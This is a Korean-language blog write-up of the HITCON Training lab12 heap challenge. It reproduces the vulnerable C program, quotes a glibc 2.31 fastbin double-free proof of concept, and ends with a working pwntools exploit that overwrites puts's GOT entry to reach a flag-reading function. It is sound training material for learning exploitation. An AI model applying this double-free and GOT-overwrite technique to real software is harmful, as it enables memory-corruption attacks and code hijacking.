본문 바로가기

Security

HITCON Training lab12

Lab12

#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define TIMEOUT 60


struct flower{
	int vaild ;
	char *name ;
	char color[24] ;
};


struct flower* flowerlist[100] ;
unsigned int flowercount = 0 ;



void menu(){
	puts("");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("☆         Baby Secret Garden      ☆ ");
	puts("☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ☆ ");
	puts("");
	puts("  1 . Raise a flower " );
	puts("  2 . Visit the garden ");
	puts("  3 . Remove a flower from the garden");
	puts("  4 . Clean the garden");
	puts("  5 . Leave the garden");
	puts("");
	printf("Your choice : ");
}

int add(){
	struct flower *newflower = NULL ;
	char *buf = NULL ;
	unsigned size =0;
	unsigned index ;
	if(flowercount < 100){
		newflower = malloc(sizeof(struct flower));
		memset(newflower,0,sizeof(struct flower));
		printf("Length of the name :");
		if(scanf("%u",&size)== EOF) exit(-1);
		buf = (char*)malloc(size);
		if(!buf){
			puts("Alloca error !!");
			exit(-1);
		}
		printf("The name of flower :");
		read(0,buf,size);
		newflower->name = buf ;
		printf("The color of the flower :");
		scanf("%23s",newflower->color);
		newflower->vaild = 1 ;
		for(index = 0 ; index < 100 ; index++ ){
			if(!flowerlist[index]){
				flowerlist[index] = newflower ;
				break ;
			}
		}
		flowercount++ ;
		puts("Successful !");
	}else{
		puts("The garden is overflow");
	}
}

int del(){
	unsigned int index ;
	if(!flowercount){
		puts("No flower in the garden");
	}else{
		printf("Which flower do you want to remove from the garden:");
		scanf("%d",&index);
		if(index < 0 ||index >= 100 || !flowerlist[index]){
			puts("Invalid choice");
			return 0 ;
		}
		(flowerlist[index])->vaild = 0 ;
		free((flowerlist[index])->name);
		puts("Successful");
	}
}

void magic(){
    int fd ;
    char buffer[100];
    fd = open("/home/babysecretgarden/flag",O_RDONLY);
    read(fd,buffer,sizeof(buffer));
    close(fd);
    printf("%s",buffer);
    exit(0);
}

void clean(){
	unsigned index ;
	for(index = 0 ; index < 100 ; index++){
		if(flowerlist[index] && (flowerlist[index])->vaild == 0){
			free(flowerlist[index]);
			flowerlist[index] = NULL;
			flowercount--;
		}
	}
	puts("Done!");
}

int visit(){
	unsigned index ;
	if(!flowercount){
		puts("No flower in the garden !");
	}else{
		for(index = 0 ; index < 100 ; index++){
			if(flowerlist[index] && (flowerlist[index])->vaild){
				printf("Name of the flower[%u] :%s\n",index,(flowerlist[index])->name);
				printf("Color of the flower[%u] :%s\n",index,(flowerlist[index])->color);
			}
		}	
	}
}

void handler(int signum){
	puts("timeout");
	exit(1);
}
void init(){
	int fd;
	fd = open("/dev/urandom",0);
	close(fd);
	setvbuf(stdout,0,2,0);
	signal(SIGALRM,handler);
	alarm(TIMEOUT);
}


int main(){
	init();
	int choice ;
	char buf[10];
	while(1){
		menu();
		read(0,buf,8);
		choice = atoi(buf);
		switch(choice){
			case 1:
				add();
				break ;
			case 2:
				visit();
				break ;
			case 3:
				del();
				break ;
			case 4:
				clean();
				break ;
			case 5:
				puts("See you next time.");
				exit(0);
			default :
				puts("Invalid choice");
				break ;
		}

	}

}

소스코드는 길지만, add, del, clean, visit 기능이 함수 구현되어있다. 우리의 목표는 magic 함수를 실행하는 것이다. 특이한 점은, 1분동안 실행되고 그 이후엔 TIMEOUT을 출력한다. 기능을 자세히는 아니더라도 하나하나 정리해보겠다.

  • add( )
    • struct flower 구조체 생성
    • flowercount가 100 이상 X
    • length, name, color를 입력받음
    • color까지 입력받고 newflower->vaild = 1로 수정.
  • del( )
    • index를 입력받음
    • (flowerlist[index])->vaild = 0
    • free((flowerlist[index])->name);
    • 특이한 점은, (flowerlist[index])->name만 메모리 해제
  • clean( )
    • 0~99 index를 모두 free함.
    • free(flowerlist[index]); flowerlist[index]=NULL;
  • visit( )
    • flowerlist[index] && (flowerlist[index])->vaild가 참이면 name과 color 출력

디버깅하면서 어떻게 공격할지 생각해봤는데 답이 안나왔다. lab11에서 공부한 unsafe unlink는 heap overflow가 가능한 부분이 없고, House of force는 Top chunk를 못 덮어쓴다. www.lazenca.net/에 heap 공격에 대한 정리가 나와있어서 어떻게 공격하면 될까 생각해봤는데 Double free bug는 가능하지 않을까 생각해봤다. 

안된다. 내 서버 환경이 glibc 2.31이여서 기존의 free(A); free(B); free(A);를 하는 방법을 안된다. 그래서 구글에 검색해봤더니 자료가 나왔다.(github.com/StarCross-Tech/heap_exploit_2.31) 이 중, fastbin_double_free.c를 살펴봤다.

#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
int main()
{
    /*this is double free related security mechanisms in glibc 2.29.
     *	if (__builtin_expect (old == p, 0))
	  malloc_printerr ("double free or corruption (fasttop)");
    * */
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("fastbin_double_free can help you achieve \"arbitrary address writes\"\n");

    void *q,*r,*d;
    void *p[7];
    printf("First of all ,we need to Apply for heap blocks of the same size to consume tcache!\n");
    for(int i=0;i<7;i++)
    {
        p[i] = malloc(0x10);
        printf("p[%d]  ===>  %p\n",i,p[i]);
    }
    q = malloc(0x10);
    r = malloc(0x10);
    printf("now , we need to free 7 heap blocks to populate tcache linked list!\n");
    for(int i=0;i<7;i++)
    {
        printf("now free p[%d]  ===>  %p\n",i,p[i]);
        free(p[i]);
        p[i] = 0;
    }
    printf("now ,Our free heap blocks will be put into fastbin\n");
    printf("now free q  ===>  %p\n",q);
    free(q);
    printf("in order to achieve double free , we need to free another block to bypass check in glibc 2.29 !\n");
    printf("now free r  ===>  %p\n",r);
    free(r);
    printf("now we free q again!\n");
    printf("now free q  ===>  %p\n",q);
    free(q);
    printf("OK,we already achieve double free in glibc 2.29.!\n");
}

먼저, tcache 먼저 가득 채우고 q와 r을 0x10 크기로 할당했다. 그리고 다시, p[7]을 free한다. 이후에 free(q); free(r); free(q)를 수행하면 DFB가 된다.

위의 그림을 보면, 순서는 다음과 같다.

  • p[0] ~ p[6] = 0x5575959a02a0 ~ 0x5575959a0360을 할당한다. (q,r도 할당, size는 0x10)
  • 그리고 p[0] ~ p[6]을 free한다. (그러면 tcache가 p[0] ~ p[6]으로 할당)
  • free q ==> 0x5575959a0380
  • free r ==> 0x5575959a03a0
  • free q ==> 0x5575959a0380

같은 주소를 double free한 것을 볼 수 있다. 이를 이용해서 공격을 시도했다. 위의 예제와 마찬가지로 0x10 크기로 7개를 할당하고, 2개를 추가로 할당했다, 그리고 차례로 해제하고 double free를 진행했더니 성공했다. 그리고 다시 같은크기로 할당을하면 무언가 될꺼라고 생각했다.

위의 예제처럼 7개를 free하고 추가로 0x11bd500과 0x11bd550 두 개의 포인터를 double free한 모습이다. 이 상태에서 다시 같은 크기(0x10)로 메모리 할당을 요청하면 아래 그림과 같이 된다.

여러차례 디버깅하며, 주소가 변경됨

다음에 malloc(0x10)을 수행하면 0x1bba500 주소를 리턴하여 해당 주소를 사용할 것이다.

0x1bba510 리턴

0x1bba500이 아니라 0x1bba510이 리턴되었는데 a500은 힙의 헤더부터의 주소로 데이터는 a510이 맞다. 

buf = (char*)malloc(size); //double free된 포인터 재사용
...
read(0,buf,size); //사용자로부터 입력받아
newflower->name = buf; //name에 저장

위의 코드를 보면 buf를 동적할당하고 name에 입력받은 값을 입력한다. 위의 청크들은 free((flowerlist[index])->name); 를 통해 관리되므로 flowerlist가 아니라 name이다. 따라서 puts의 got를 0x1bba500에 입력하면 Double free되었기 때문에 같은 주소에 또 입력을 받을 수 있다. 이때, magic의 주소를 입력한다면 puts의 got에 magic 주소를 덮어쓸 수 있다. 다음은 공격코드다. 

from pwn import *
context.log_level = 'debug'
p = process('./secretgarden')

pause()
def raiseFlower(length, name, color):
    p.sendlineafter('choice : ', '1')
    p.sendlineafter('name ', str(length))
    p.recvuntil('flower :')
    p.send(name)
    #p.sendlineafter('flower :', name)
    p.sendlineafter('flower :', color)

def removeFlower(idx):
    p.sendlineafter('choice : ', '3')
    p.sendlineafter(':', str(idx))

raiseFlower(16, 'AAAA', '1')
raiseFlower(16, 'BBBB', '2')
raiseFlower(16, 'CCCC', '3')
raiseFlower(16, 'DDDD', '4')
raiseFlower(16, 'EEEE', '5')
raiseFlower(16, 'FFFF', '6')
raiseFlower(16, 'GGGG', '7')

raiseFlower(16, 'WTF', 'AAAA')
raiseFlower(16, 'FTW', "BBBB")

removeFlower(0)
removeFlower(1)
removeFlower(2)
removeFlower(3)
removeFlower(4)
removeFlower(5)
removeFlower(6)

removeFlower(7)
removeFlower(8)
removeFlower(7)

raiseFlower(16, 'AAAA', '1')
raiseFlower(16, 'BBBB', '2')
raiseFlower(16, 'CCCC', '3')
raiseFlower(16, 'DDDD', '4')
raiseFlower(16, 'EEEE', '5')
raiseFlower(16, 'FFFF', '6')
raiseFlower(16, 'GGGG', '7')

raiseFlower(16, p64(0x602020), 'BBBB')
raiseFlower(16, 'FTW', 'BBBB')
raiseFlower(16, 'QQQ', 'CCCC')
raiseFlower(16, p64(0x400c7b), '1111')

p.interactive()

'Security' 카테고리의 다른 글

HITCON Training lab14  (0) 2021.01.04
HITCON Training Lab13  (0) 2021.01.02
House of Force, Unsafe Unlink  (0) 2020.12.28
HITCON Training lab10 (first fit, uaf)  (0) 2020.12.22
HITCON Training lab7 ~ 9  (0) 2020.11.21